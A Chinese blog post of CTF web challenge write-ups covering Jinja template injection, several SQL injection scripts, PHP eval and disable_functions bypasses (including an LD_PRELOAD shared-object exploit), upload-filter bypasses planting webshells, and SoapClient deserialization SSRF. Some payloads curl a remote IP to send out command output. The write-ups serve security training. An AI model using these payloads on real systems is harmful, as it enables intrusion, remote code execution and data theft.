BuuOJ刷题记录2

感谢 glzjin 师傅

[WesternCTF2018]shrine

首先看题目

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

WAF 只有过滤()和设置config以及self为空, 而我们可以看到 flag 在app.config里面, 这里参考

https://www.jianshu.com/p/1237c78a691c

没有了直接的 config, 我们可以通过current_app来获取, 通过查阅手册, 可以发现在函数url_for中存在这个变量

那么就可以通过下面的 payload 来获取

{{url_for.__globals__['current_app'].config}}

同样的函数还有get_flashed_messages

或者使用

{{app.__init__.__globals__.sys.modules.app.app.__dict__}}

国外大佬的方法就比较硬核了

https://ctftime.org/writeup/10851

# search.py

def search(obj, max_depth):

visited_clss = []
visited_objs = []

def visit(obj, path='obj', depth=0):
yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)

修改的app.py

import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == app.config['FLAG']:
return path

if __name__ == '__main__':
app.run(debug=True)

通过遍历request来查找是否存在某个子属性和app.config['FLAG']是一致的, 最后找的 payload 是

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

其实可以看到和前面的思路是一致的, 只是获取的路径不同

[GWCTF 2019]你的名字

顺带就来做一下上次比赛没整出来的 SSTI

这道题其实很明显的是模板注入, 出题人恶趣味的用了index.php这样的路由, 但是实际上还是一道 python 题

先来 fuzz 一下

当输入为class的时候, 结果会被过滤, 应该是有 waf

6测一下发现还有 php 的报错, 这是真的 sxbk

但是这里是用不了了

我们上网查一下就会发现, 在 ssti 中过滤了后, 可以通过{\%外带

Python 模板注入(SSTI)深入学习

上面链接中的 payload 改一下就可以用

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`ls /`') %}1{% endif %}

但是还有一个问题是有关键字符的过滤, 上网找一下 ssti 的字典 当然是没找到了

可以发现双写绕不过, 应该是循环匹配, 替换为空的话我们可以利用这个特点来绕过, 但是这里毫无提示, 感觉只能纯靠猜, 找到一个词符合以下条件

  • ban_list中尽量靠后
  • 不出现在我们的 payload 里面

由于第一个是黑箱, 我们只能从第二个入手

fuzz 脚本

import re
import requests
from time import sleep
url = "http://f9fd3c30-c575-4a29-88a3-680ebc168df5.node3.buuoj.cn"
def gen_words():
f = open("ssti_payload.txt", "r").read()
words = re.findall("[a-zA-Z]+", f)
f = open("ssti_word.txt", "w")
res = sorted(list(set(words)))
for i in res:
f.write(i + "\n")
return res

def find_unused_word(words, payload):
used_word = list(set(re.findall("[a-zA-Z]+", payload)))
return [i for i in words if i not in used_word]

def fuzz():
payload = "{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`ls /`') %}1{% endif %}"
words = gen_words()
unused_word = find_unused_word(words, payload)
for i in unused_word:
data = {
"name": i
}
res = requests.post(url, data=data).text
if "hello !" in res:
data = {
"name": "cla" + i + "ss"
}
res = requests.post(url, data=data).text
if "class" in res:
print(f"[*] find {i}")
sleep(0.1)

if __name__ == "__main__":
fuzz()

由于结果只有几个, 我们挨个试一下, 就会发现config是可用的

使用小号开一个Linux labs

之后再改造一下 payload

{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://174.0.167.222:2333/ -d `ls /|base64`') %}1{% endiconfigf %}

注意这里最后必须要是endiconfigf, 不是很懂为什么, 猜测是要和前面的iconfigf一致吧, 其他的情况都会导致打不通

然后我们就可以 rce 了, 由于返回只有一行, 就拼接了个|base64

image-20200215142906296

[SWPU2019]Web1

这题咋一看还以为是个 XSS—-

但是这管理员一直不确认的就很迷惑了

然后查了一下才发现不是 XSS 是个 SQL 题

可以看到注入点有几个, 比如申请广告这里

还有查看的时候

测试一下发现id那里打不通, 就回到广告这里, 顺利的看到了注入点

当然这丧心病狂的 22 列是真的顶

首先可以看到``被过滤, 直接使用/**/或者(就可以绕过了, 主要是下面两点

Bypass information_schema

做过 sqli 的都知道这个库的厉害, 但是现在也经常被过滤 (例如过滤or), 那么我们就需要新的姿势了

https://www.anquanke.com/post/id/193512

https://www.cnblogs.com/wangtanzhi/p/12241499.html

可以看到大部分是用了sys.schema_auto_increment_columns这个库

由于在 Buuoj 上面没有这个库, 这里用的姿势是

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这样来获取表名

无列名注入

先回顾一下我们常规的思路, 一般我们是通过information_schema.columns注入出所有列名再进行查询, 而这里我们用不了这个库, 就可以考虑无列名注入

select 1,2,3;

此时可以看到列名分别为 1,2,3

select 1,2,3 union select * from users;

这里可以看到我们通过union连接来改变原来的列名, 所以我们可以通过

select `2` from (select 1,2,3 union select * from users)x;

这里有几个注意的点

  • 列名用反引号, 这里因为是数字, 我们需要使用反引号包起来, 如果不用的话会全部变成 2

  • select要用()包起来

  • select最后要赋予一个别名, 不然会报错

然后我们就可以注入了

-1'union/**/select/**/1,
(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

我现在才发现select*from users是成立的, 中间不需要用空格….

然后就可以拿 flag 了

[CISCN 2019 初赛]Love Math

这道题蛮有意思的, 先看代码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

代码中做了三个判断

  1. 长度必须小于 80

  2. 过滤一部分符号

    ' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'

  3. 匹配所有函数变量名必须在$whitelist中, 比如pi

    这个正则来源可以见 https://www.php.net/manual/zh/language.variables.basics.php

其实第一个是最难的 hhhh

看一下手册就可以看到, 有个函数很特别

这个返回值是string就很妙了, 那么我们可以通过这样的方法来转换出我们需要的字符

$command = "phpinfo";
echo base_convert($command,36,10);
# >:55490343972

这样就能得到一个纯数字, 然后通过

base_convert(55490343972,10,36)();

就可以执行了

然后同理我们可以拼出

base_convert(1751504350,10,36)(base_convert(784,10,36));
# system(ls)

但是读文件就比较困难了, base_convert只能转换[a-z0-9], 而读文件需要空格, 本题的 flag 在/flag, 那就势必需要能够转换特殊字符的函数了, 这里有两个思路

hex2bin

先看一下手册

这个函数可以实现将 Hex 转换成字符串, 也就是

但是这样会出现字母, 本地先转换成 10 进制, 然后在 payload 使用dechex转换回去就可以了, 具体操作如下

base_convert(696468,10,36)(base_convert(37907361743,10,36)(dechex(1819484207)))
# system(hex2bin(dechex(1819484207)))
# system('ls /')

当然想法很好, 长度却不够了, 这里的替换思路有两个, 一个是将system换成exec, 并更改进制来尽量减少位数, 只要不出现字母就可以了

base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(1819484207)))
# exec('ls /')

刚好 79, 可以执行

但是没有全部返回 hhh, 这里知道是在/flag, 就可以直接打, 不过命令也是比较取巧

base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260451114)))
# exec('nl /*')

另外一种就是构造$_GET, 然后就可以为所欲为了 hhhh

$pi=base_convert(3761671484,13,36)(dechex(1598506324));$$pi{0}($$pi{1})
# $pi=hex2bin(dechex(1598506324));
# $pi=_GET
# $$pi=$_GET

这里利用的是 php 的可变变量特性

剩下的就显而易见了

从其他位置获取参数

可以在 https://xz.aliyun.com/t/4906#toc-8 中看到 ROIS 使用的 payload 是

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})
# system(getallheaders(){9})

实测的时候一直没有打通, 研究了一下发现这个 payload 需要在 apache 环境下

buu 上是用 nginx, 所以打不通, 其他的类似函数因为长度问题用不了, 就当了解一下了

[极客大挑战 2019]RCE ME

参考 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

这个过滤的话很明显就能想到 p 神上面那篇文章, 直接取反就可以绕过了, 然后我们想办法执行, 先看一下phpinfo()

(~%8F%97%8F%96%91%99%90)();

然后是disable_function

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

可以看到mail没有被禁, 那么我们待会就可以用来绕过

这里的话我们只能够拼接assert而不能拼接eval, 这是由 php 的特性决定的

然后看一下环境是在 Apache 下, 那么有一说一还是getallheaders舒服

参考 https://evoa.me/index.php/archives/62/

(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
# assert(next(getallheaders()));

然后在User-Agent输入命令即可

为了Bypass disable_function, 先让蚁剑连上来, 写 shell

User-Agent: print_r(file_put_contents("/tmp/a.php",'<?php eval($_POST[c]);?>'))

然后包含

User-Agent: include("/tmp/a.php");

蚁剑就可以连上来了

这里先提供一个懒人方法

使用蚁剑的插件

就可以直接绕过了 hhh, 当然我们不能这样, 还是要一步一步来

推荐以下两篇文章

https://www.anquanke.com/post/id/175403

https://www.freebuf.com/articles/web/192052.html

无论学什么都能在一叶飘零师傅的文章中找到.jpg

我们知道如果要加载LD_PRELOAD需要新起进程, 在 php 解释器运行中, 第一次执行execve是调用 php 解释器, 如果出现第二个execve就是有新进程的生成, 这里的测试 php 如下

<?php mail('','','','');

然后使用命令

strace -f php test.php 2>&1|grep -C3 execve

可以看到确实出现了多个execve, 同样的函数还有imap_open

这里我就直接使用了前面链接中的文件

首先是exp.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

在 linux 中编译

gcc -shared -fPIC exp.c -o exp_x64.so

exp.php

<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

然后通过蚁剑一起上传上去, 带上参数访问即可

不用蚁剑的话可以通过开另一台linux_lab来传

copy("http://ip:port/exp.so","/tmp/exp.so");

方法很多, 蚁剑是比较方便的方法

[SUCTF 2019]EasyWeb

源码如下

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

绕过正则

首先有长度和正则的过滤, 我们需要先想办法构造一个$_GET出来, fuzz 一下特殊符号, 发现还有^, 那大概就是异或来绕过正则了, 而我们在下面还可以看到有个

$character_type = count_chars($hhh, 3);

也就是说我们不能使用超过 12 种字符

那先用脚本构造一下

import re

pattern = re.compile('[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+', re.I)
payload = "_GET"

for i in range(1, 256):
if pattern.match(chr(i)):
continue
res = f"%{i:02x}" * len(payload)
res += "^"
f = False
for j in payload:
new = ord(j)^i
if pattern.match(chr(new)):
f = True
break
res += f"%{ord(j)^i:02x}"
if f:
continue
print(res)

然后从输出中随便选一个来构造

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

文件上传

这里其实就是让你去调用get_the_flag()

那么我们来康康这个函数干啥

function get_the_flag(){
...
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

其实很平淡, 我们简单分析一下

  1. /ph/i的后缀过滤, 平时常见的 php 文件类型都不能用, 要么是asp, jsp这些或者是利用.htaccess来解析不常见类型
  2. <?检测, 由于我们前面可以看到 php 的版本为7.2, 之前的<script的绕过就不能用了, 不过这也是个旧的知识点, base64 或者 utf-7 即可
  3. exif_imagetype图像类型检测, 这个网上有很多绕过的方案了, 例如

// xbm format
SIZE_HEADER = b"#define width 1\n#define height 1\n\n"
// wbmp format
SIZE_HEADER = b"\x00\x00\x8a\x39\x8a\x39"

.htaccess中, #\x00是注释符, 因此上面两个文件头不会影响文件的正常功能

然后在 shell 中, 需要注意的是由于使用了 base64 解码, 我们需要保证文件头前面是 4 的倍数, 这样才不会影响后面代码的解码(这里补上了00)

https://www.jianshu.com/p/fbfeeb43ace2

import requests
import base64

url = r"http://2eab5f94-4cfd-41dc-ac5d-6cda977d7ce4.node3.buuoj.cn//?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

SIZE_HEADER = b"\x00\x00\x8a\x39\x8a\x39"
htaccess = SIZE_HEADER + b"""
AddType application/x-httpd-php .cc
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.cc"

"""
files = [
("file",(".htaccess", htaccess, "image/gif"))
]
proxy = {"http": "127.0.0.1:8080"}
res = requests.post(url, files=files, proxies=proxy).text
print(res)

shell = SIZE_HEADER + b"00" + base64.b64encode(b"<?php eval($_GET['cjm00n']);?>")
files = [
("file",("shell.cc", shell, "image/gif"))
]
proxy = {"http": "127.0.0.1:8080"}
res = requests.post(url, files=files, proxies=proxy).text
print(res)

Bypass open_dir

推荐一篇很详细的文章

浅谈几种 Bypass-open-basedir 的方法

以及这篇 https://xz.aliyun.com/t/4720 从源码分析 payload

这里就直接放 payload 了

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
# or
mkdir('cjm00n');chdir('cjm00n');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(readfile('/THis_Is_tHe_F14g'));

[CISCN2019 总决赛 Day2 Web1]Easyweb

我们可以在robots.txt中发现有备份文件, 可以下载到image.php.bak, 看一下源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
echo $id." ".$path;

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

sql 注入无疑, 可以看到有addslashes函数

假如我们输入

\0'

经过这个函数后会变成

\\0\'

经过替换后就只剩下

\

回到 sql 语句中

select * from images where id='\' or path='{$path}'

'号被成功转义, 那还不是为所欲为

这里我们使用布尔盲注, 脚本如下

import requests
from time import sleep

url = "http://abaa0b80-e625-4b62-81d0-92b0987742d0.node3.buuoj.cn/image.php"
# url = "http://local:2333/image.php"
proxies = {
"http": "127.0.0.1:8080"
}
def attack(cur, mid=""):
# payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,0)" % (cur, mid)
# payload = " or length((select group_concat(password) from users))={}#".format(cur)
# 一开始把#写成%23, 结果一直不对, 后面才想起python会自动编码...
payload = " or if(ascii(substr((select group_concat(password) from users),%d,1))>%d,1,0)#" % (cur, mid)
data = {
"id": "\\0'",
"path": payload
}
res = requests.get(url, params=data, proxies=proxies)
if res.status_code == 429:
print('too fast')
if "JFIF" in res.text:
return True
else:
return False


def try_length():
for i in range(18, 25):
if attack(i):
print(i)
break
sleep(0.02)

def main():
flag = ""
for i in range(1, 22):
end = 127
start = 31
mid = (end + start) // 2
while end > start:
if attack(i, mid):
start = mid + 1
else:
end = mid
mid = (end + start) // 2
sleep(0.02)
flag += chr(mid)
print(flag)

if __name__ == "__main__":
# try_length()
main()

然后就能注出密码

登陆后可以看到有个文件上传点

上传后提示会记录文件名, 并且 log 文件为php格式, 但是由于存在/php/i的过滤, 使用短标签绕过

<?=system($_GET[c]);?>

后面就直接cat /flag

[HITCON 2017]SSRFme

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];
$_SERVER['REMOTE_ADDR'] = '113.101.89.250';
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

代码很短, 一眼可以看到有行

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

本地测的时候不能运行

查了一下发现是perl, 说来这道题是不是buuoj上面的配置不对, 这里我用的是 data 协议直接做

?url=data://baidu.com,base64,<?eval($_GET[c]);?>&filename=test.php

然后就直接 getshell 了, 这不是题目的本意, 继续看看

可以查到 perl 有个open命令的漏洞

GET底层是用了open实现, 那就可以绕过了

而且有一说一, 这个GET命令是真的顶

?url=/&filename=test8.php

这样就可以直接读目录了, 读文件读目录无所不能??

太神奇了

参考 https://www.jianshu.com/p/3f82685f56a8

然后利用open的命令执行,

/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|
/?url=file:bash%20-c%20/readflag|&filename=2

另外还有CVE-2016-1238, 这个也很骚, 不过懒得再去开linux_labs就不重现了

[极客大挑战 2019]HardSQL

报错注入, 绕过过滤的方法如下

  • `` => ()
  • = => like

然后就可以顺利注出表名和列名

-1'^(updatexml(1,concat(0x7e,(SELECT(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database()))),0x7e),1))^'1

这里可以看到在拿 flag 的时候出现了长度不够

-1'^(updatexml(1,concat(0x7e,(SELECT((group_concat(password)))from(H4rDsq1)),0x7e),1))^'1

加上个reverse即可

-1'^(updatexml(1,concat(0x7e,(SELECT(reverse(group_concat(password)))from(H4rDsq1)),0x7e),1))^'1

手动拼接即可得到 flag

[LCTF 2018]bestphp’s revenge

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

源码如上, 大概的想法是通过

call_user_func($_GET['f'], $_POST);

这一行进行变量覆盖, 然后在最后一行执行代码

首先尝试将$b覆盖成var_dump

但是这里失败了, 不太懂为什么没有覆盖成功

查了一下相应的 wp, 也是用的extract, 这就很迷了

lctf2018-bestphps-revenge-详细题解

推荐一下smi1e师傅的 wp, 以下直接引用部分

我们可以看到代码中的session_start()十分突兀, 可以说没有啥用, 那应该就是突破口, 在 php 中, session 的存储位置是在文件中, 并且有一次反序列化的过程, 这就有了 session 反序列化的漏洞

php 的反序列化引擎有三种

  • php:

    name|s:5:"Smi1e";

  • php_serialize:

    a:1:{s:4:"name";s:5:"Smi1e";}

  • php_binary:

    <0x04>names:5:"Smi1e";

可以看到不同的引擎的反序列化方式不同, 类似于反序列化字符串逃逸, 如果使用了不同的引擎, 也可能出现反序列化逃逸, 例如

a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}

php引擎中会从|分隔, a:1:{s:4:"name";s:5:"作为 key, O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}作为 value, 最后会把它进行 unserialize 处理, 这就出现了漏洞

但是空有漏洞也没有用, 我们需要对 flag.php 进行 ssrf, 由于题目没有类对象, 我们需要从原生的类入手

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0

可以看到SoapClient类就符合这个特点, 所以这里的思路就是

  1. 生成SoapClient的 payload
  2. 先设置为php_serialize引擎, 将 payload 注入
  3. 再次访问, 调用SoapClient类中不存在的方法, 触发__call__, 从而实现 ssrf

一步步来, 首先是生成 payload

<?php
$path = "http://127.0.0.1/flag.php";
$o = new SoapClient(null, array('uri' => $path, 'location' => $path));
$payload = serialize($o);

echo "|".$payload;

生成

|O:10:"SoapClient":4:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}

然后访问

再利用call_user_func的特性, 当传入的第一个参数为数组时, 数组的第一个元素作为类名, 第二个元素为方法

这里的访问就是

call_user_func(array("SoapClient", "welcome_to_the_lctf2018"));

就会触发__call__, 实现 ssrf

最后访问index.php, 将获取到的 session 填入 cookie 即可

签到题都这么有水平, lctf 太顶了

[RoarCTF 2019]Online Proxy

可以看到有 ip, 那么有几种可能

  • SSTI
  • 命令注入
  • sql 注入

结合文字应该就是 sql 注入了, 不过这里注入的情况比较特别, 需要三次访问才会出结果

  1. 访问, 程序记录 IP
  2. 第二次访问, 如果不同, 则将上次的 IP 放入数据库
  3. 第三次访问, 如果与第二次相同, 则从数据库查询上次的 IP

这就是二次注入了, 脚本如下

import requests
import re
from time import sleep

url = "http://node3.buuoj.cn:25528/"
proxies = {
"http": "127.0.0.1:8080"
}
static_headers = {
"X-Forwarded-For": "111",
}

session = requests.Session()
def test(cur, mid):
# table: F4l9_D4t4B45e
payload = "-1' and (ascii(substr((select reverse(group_concat(schema_name)) from information_schema.schemata),%d,1))>%d)^'0" % (cur, mid)
# table: F
payload = "-1' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),%d,1))>%d)^'0" % (cur, mid)
payload = "-1' and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='F4l9_D4t4B45e'),%d,1))>%d)^'0" % (cur, mid)
payload = "-1' and (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),%d,1))>%d)^'0" % (cur, mid)

headers = {
"X-Forwarded-For": payload,
}
res = session.get(url, headers=headers, timeout=5)
res = session.get(url, headers=static_headers, timeout=5)
res = session.get(url, headers=static_headers, timeout=5).text
# print(res)
result = re.findall("(?<=Last Ip:\s).+\s", res)[0].strip()
if result == "1":
return True
return False
# print(result)

def main():
flag = ""
for i in range(45, 80):
end = 127
start = 31
mid = (end + start) // 2
while end > start:
if test(i, mid):
start = mid + 1
else:
end = mid
mid = (end + start) // 2
sleep(0.3)
flag += chr(mid)
print(flag)
if __name__ == "__main__":
# attack()
# test()
main()

依次注入就完事了, 注意一下sleep的时间, 不然容易断

[极客大挑战 2019]FinalSQL

也是个盲注题, 而且最后的 flag 位置特别靠后, 建议还是活用reverse()

import requests
import re
from time import sleep
from urllib.parse import urlencode

url = "http://49029690-686c-4f70-816f-a017071f77c6.node3.buuoj.cn/search.php"
proxies = {
"http": "127.0.0.1:8080"
}

session = requests.Session()
def test(cur, mid=""):
# table: F4l9_D4t4B45e
payload = "0^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)" % (cur, mid)
payload = "0^(ascii(substr((select(reverse(group_concat(table_name)))from(information_schema.tables)),%d,1))>%d)" % (cur, mid)
payload = "0^(ascii(substr((select(reverse(group_concat(column_name)))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" % (cur, mid)
payload = "0^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (cur, mid)
res = session.get(f"{url}?id={payload}", timeout=5).text
if "Click" in res:
return True
return False
# print(result)

def main():
flag = ""
for i in range(172, 220):
end = 127
start = 31
mid = (end + start) // 2
while end > start:
if test(i, mid):
start = mid + 1
else:
end = mid
mid = (end + start) // 2
sleep(0.05)
flag += chr(mid)
print(flag)
if __name__ == "__main__":
# attack()
# test()
main()

[ByteCTF 2019]EZCMS

第一步是 hash 拓展攻击

先随便登录一下, 可以在cookie中看到

hash=52107b08c0f3342d2153ae1d68e6262c

翻一下源码, 这里是

$secret = "E3ry7Hjq";
setcookie("hash", md5($secret."adminadmin"));

在验证的地方, 验证

function is_admin(){
$secret = "E3ry7Hjq";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}

那么只需要在 hashpump 里面

然后替换成%

admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin

登陆后就是 admin 了

然后继续看源码, 这道题不难看出是个构造 pop 链的题, 可以看到在 config.php 里面

File类存在一个__destruct

里面会调用check->upload_file

